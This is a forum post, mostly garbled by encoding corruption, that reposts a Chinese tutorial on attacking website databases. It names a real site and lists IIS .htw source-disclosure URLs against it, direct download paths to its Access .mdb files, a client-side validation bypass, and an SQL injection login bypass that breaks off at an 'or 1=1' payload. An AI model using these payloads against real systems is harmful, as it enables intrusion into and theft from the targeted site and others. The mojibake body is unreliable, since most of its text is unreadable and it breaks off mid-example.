;
帖子
3919 
精华
积分
11710 
鱼币
0 ¥ 
来自
大连 
在线时间
1858 小时 
注册时间
2007-6-11 
最后登录
2009-10-20 

贴图大师勋章新人进步勋章宣传大使勋章论坛元老勋章

3
发表于 2009-1-5 19:48 | 只看该作者
鏁版嵁搴撳叆渚垫硶 - 缂栫▼搴 - Powered by SupeSite

浣犵殑浣嶇疆锛缂栫▼搴 >> 璧勮 >> MySQL >> 鏁版嵁瀹夊叏 >> 璇︾粏鍐呭 鍦ㄧ嚎鎶曠ǹ

鏁版嵁搴撳叆渚垫硶

鍙戝竷: 2008-7-01 12:48 |  浣滆: admin |   鏌ョ湅: 6娆

鏁版嵁搴撳叆渚垫硶

銆愬瓧浣擄細灏 澶с

鏁版嵁搴撳叆渚垫硶

浣滆咃細涓嶈 鏂囩珷鏉ユ簮锛氱綉缁 鐐瑰嚮鏁帮細675 鏇存柊鏃堕棿锛2007-1-21

涓鑸殑web server閮借浣跨敤鏁版嵁搴撴潵瀛樺偍淇℃伅锛屽嚑涔庢墍鏈夌殑缃戠珯閮借鐢ㄦ暟鎹簱銆傝繖鏍峰氨瀛樺湪鐫涓ょ鍙兘锛屼竴绉嶆槸浣跨敤灏忓瀷鏁版嵁搴擄紝濡俛ceess,涓鑸氨鍌ㄥ瓨鍦ㄦ湰鍦般傚彟涓绉嶆槸浣跨敤澶у瀷鏁版嵁搴擄紝濡係QL server,Oracle杩欐椂鍊欎竴鑸氨鏀惧湪鍙︿竴鍙版満鍣ㄤ笂锛岀劧鍚庨氳繃ODBC鏉ヨ闂畠銆

鐢变簬椤甸潰缁忓父闇瑕佹煡璇㈠悇绉嶄俊鎭紝淇敼鐢ㄦ埛淇℃伅绛夋搷浣滐紝瀹炶川涓婂氨鏄拰鏁版嵁搴撴墦浜ら亾浜嗐傝繖鏍峰氨缁欓潪娉曠敤鎴风暀涓嬪埄鐢ㄧ殑鏈轰細浜嗐

1.瀵规湰鍦版暟鎹簱鐨勬敾鍑汇

瀵规湰鍦版暟鎹簱鐨勬敾鍑讳竴绉嶆柟娉曞氨鏄笅杞芥暟鎹簱锛岀劧鍚庡憿锛屼綘灏卞彲浠ユ墦寮杩欎釜鏁版嵁搴撳緱鍒板唴閮ㄧ殑鐢ㄦ埛鍜屽笎鍙蜂簡锛屼互鍙婂叾瀹冩湁鐢ㄧ殑淇℃伅銆

涓嬮潰浠モ滄按鑾蹭細鈥濅负渚嬶細

缁忚繃鎵弿锛屽緱鐭ww.suilian.net浣跨敤鐨勬槸铏氭嫙涓绘満锛屼娇鐢ㄧ殑鏄疻Indows NT+IIS4.0.鎵弿鍣ㄤ綘鍙互浣跨敤twwwscan鎴栬呭叾瀹冿紝鍏跺疄鍔熻兘閮藉ぇ鍚屽皬寮傘

鍦ㄥIIS鏀诲嚮鏃跺鏋滆兘澶熺湅鍒癆SP婧愪唬鐮侊紝閭d箞鎴愬姛鐨勫彲鑳芥у氨寰堝ぇ浜嗐

缁忚繃娴嬭瘯锛屽彂鐜版绔欑偣瀛樺湪婧愪唬鐮佹毚闇叉紡娲炪傘傘

澶у鍙互璇曡瘯锛

http://www.suilian.net/null.htw?CiWebhitsfile=/maillist.asp%20&CiRestriction=

none&CiHiliteType=full

http://www.suilian.net/null.htw?CiWebhitsfile=/index.asp%20&CiRestriction=

none&CiHiliteType=full

http://www.suilian.net/null.htw?CiWebhitsfile=/chat/DetNew.asp%20&CiRestriction=

none&CiHiliteType=full

http://www.suilian.net/null.htw?CiWebhitsfile=/chat/detail.asp%20&CiRestriction=

none&CiHiliteType=full

http://www.suilian.net/null.htw?CiWebhitsfile=/chat/topic4.asp%20&CiRestriction=

none&CiHiliteType=full

http://www.suilian.net/null.htw?CiWebhitsfile=/chat/titlefrm.asp%20&CiRestriction=

none&CiHiliteType=full

http://www.suilian.net/null.htw?CiWebhitsfile=/chat/titlenew.asp%20&CiRestriction=

none&CiHiliteType=full

鐪嬭浜嗕粈涔堬紵

褰撶劧婧愪唬鐮佹硠闇茬殑婕忔礊鏈夊緢澶氱锛岃繖閲屽氨涓嶄竴涓鍒椾妇锛屼綘鍙互鍘绘煡婕忔礊鎵嬪唽銆

鐜板湪浣犲氨鍙互鍘绘煡鐪婣SP婧愪唬鐮佷簡銆

濡傛灉浣犲ASP涓嶇啛鎮夛紝鎴戠畝鍗曚粙缁嶄竴涓嬨

ASP鏄祵鍦<%鍜%>涔嬮棿銆備竴鑸娇鐢╒BScript鎴栬卝ava script涔﹀啓浠g爜銆

鐪嬭繖涓緥瀛愪娇鐢╒BScript涔﹀啓鐨勶細

<%

...

set cn1=server.createobject("ADODB.connection")

dbpath=server.mappath("user.mdb")

cn1.open "driver={microsoft access driver (*.mdb)};dbq="&dbpath

set rs=server.createobject("ADODB.recordset")

rs.open "select * from yhb",cn1,adopenkeyset

...

%>

杩欐槸涓涓吀鍨嬬殑涓庢暟鎹簱杩炴帴鐨勪唬鐮併

渚濇鐨勬楠や负锛

寤虹珛杩炴帴瀵硅薄锛

璁剧疆鏁版嵁搴撹矾寰勶紝

鎵撳紑鏁版嵁搴擄紝

璁剧疆璁板綍瀵硅薄锛

鍙栬褰曘

杩欓噷鎴戜滑灏卞彲浠ョ煡閬撴暟鎹簱鐨勭被鍨嬶紝鍚嶇О鍜岃矾寰勶紝杩欓噷鏄湪褰撳墠鐩綍涓嬨

杩樺彲浠ョ煡閬撴暟鎹簱鐨勮〃鍚嶅拰瀛楁鍚嶇О銆

鏈夌粡楠岀殑绋嬪簭鍛樹竴鑸笉浼氭妸鏁版嵁搴撳悕鐩存帴鏀惧湪浠g爜閲岋紝鑰屾槸鍦∣DBC閲岃缃暟鎹簮锛屼互澧炲姞瀹夊叏鎬с

鐒跺悗灏卞彂鐜板瓨鍦

d:\S\suilian\chat\news.mdb

d:\S\suilian\topic22.mdb绛夋暟鎹簱

浣犲彧瑕佷娇鐢

http://www.suilian.net/chat/news.mdb

http://www.suilian.net/topic22.mdb

灏卞彲浠ユ妸瀹冧笅杞戒笅鏉...

1銆傜獊鐮磗cript鐨勯檺鍒躲

渚嬪锛屾煇缃戦〉涓婃湁涓鏂囨湰妗嗭紝鍏佽浣犺緭鍏ョ敤鎴峰悕绉帮紝浣嗘槸瀹冮檺鍒朵綘鍙兘杈撳叆4涓瓧绗︺傝澶氱▼搴忛兘鏄湪瀹㈡埛绔檺鍒讹紝鐒跺悗鐢╩sgbox寮瑰嚭閿欒鎻愮ず銆傚鏋滀綘鏀诲嚮鏃堕渶瑕佺獊鐮存闄愬埗锛屽彧闇瑕佸湪鏈湴鍋氫竴涓竴鏍风殑涓婚〉锛屽彧鏄彇娑堜簡闄愬埗锛岄氬父鏄幓鎺塚Bscript鎴朓avaScript鐨勯檺鍒剁▼搴忥紝灏卞彲浠ユ垚鍔熺獊鐮淬

濡傛灉鏄痡ava script鍋氱殑锛屽共鑴嗕复鏃舵妸娴忚鍣ㄧ殑鑴氭湰鏀寔鍏虫帀銆傚鏋滄槸

鏈夌粡楠岀殑绋嬪簭鍛樺父甯稿湪绋嬪簭鍚庡彴鍐嶅仛涓閬嶆楠岋紝濡傛灉鏈夐敊璇氨鐢╮esponse.write鎴栫被浼肩殑璇彞杈撳嚭閿欒銆

2銆傚SQL鐨勭獊鐮

渚嬪鏌愮綉椤甸渶瑕佷綘杈撳叆鐢ㄦ埛鍚嶇О鍜屽彛浠わ紝杩欐牱灏辨湁涓や釜鏂囨湰妗嗙瓑寰呬綘鐨勮緭鍏ワ紝鐜板湪鎴戜滑鍋囪鏈変竴鐢ㄦ埛adam,鎴戜滑涓嶇煡閬撲粬鐨勫彛浠わ紝鍗存兂浠ヤ粬鐨勮韩浠界櫥闄嗐

姝e父鎯呭喌涓嬶紝鎴戜滑鍦ㄧ涓涓枃鏈杈撳叆adam,绗簩涓枃鏈杈撳叆1234涔嬬被鐨勫瘑鐮侊紝濡傛灉瀵嗙爜姝g‘灏卞彲浠ヨ繘鍏ワ紝鍚﹀垯鎶ラ敊銆

绋嬪簭涓殑鏌ヨ璇彞鍙兘鏄細

sql="select * from user where username='"&text1.values&"' and passwd= '"&text2.values&"'"

鎵ц鏃跺欏氨鏄

select * from user where username='adam' and passwd='1234'

濂戒簡锛

濡傛灉鎴戜滑鍦╰ext2閲岃緭鍏ョ殑涓嶆槸1234,鑰屾槸1234'"&"'or 1=1

鎵撳嵃 | 鏀惰棌姝ら〉 |  鎺ㄨ崘缁欏ソ鍙 | 涓炬姤
涓婁竴绡 涓嬩竴绡
 

璇勫垎锛0

鍙戣〃璇勮
鏌ョ湅鍏ㄩ儴鍥炲銆愬凡鏈0浣嶇綉鍙嬪彂琛ㄤ簡鐪嬫硶銆